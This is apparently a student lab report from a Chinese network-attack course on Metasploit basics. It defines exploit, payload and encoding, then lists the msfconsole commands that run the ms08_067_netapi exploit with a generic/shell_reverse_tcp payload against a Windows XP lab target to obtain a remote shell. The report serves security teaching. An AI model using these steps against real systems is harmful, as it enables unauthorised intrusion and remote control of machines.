2017-2018-2 20155310『网络对抗技术』Exp5：MSF基础应用

2017-2018-2 20155310『网络对抗技术』Exp5：MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode

exploit：由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞

payload:攻击载荷，如后门等攻击代码。

encode：指编码，对我们的程序或代码进行伪装。

实验内容

一个主动攻击实践，如ms08_067

1.启用msf终端msfconsole

2.然后使用search命令搜索该漏洞对应的模块：search ms08_067

3.渗透攻击模块路径名为“exploit/windows/smb/ms08_067_netapi” 包含四部分：模块类型、目标平台、目标服务和模块名字。

use exploit/windows/smb/ms08_067_netapi

1.查看信息：

show payloads

2.选择攻击载荷：

set payload generic/shell_reverse_tcp

3.查看配置渗透攻击所需的配置项：

show options

4.查看渗透攻击模块所能成功渗透攻击的目标平台

show targets

5.用show payloads查看可以供我们使用的攻击载荷：

6.从中找到一个可用的攻击载荷generic/shell_reverse_tcp，用set payload generic/shell_reverse_tcp设置payload：

7.用show options查看需要设置的参数

•这里需要设置RHOST（靶机IP）和LHOST（Kali的IP），使用set 需设置的参数名 参数值命令即可设置：

8.设置target选项目标（例如我攻击系统为WIN xp 中文简体 SP2，所以选择10）

•确认参数设置无误后，用exploit指令开始攻击：

9.攻击成功后会获取靶机的shell，可以对其进行操作：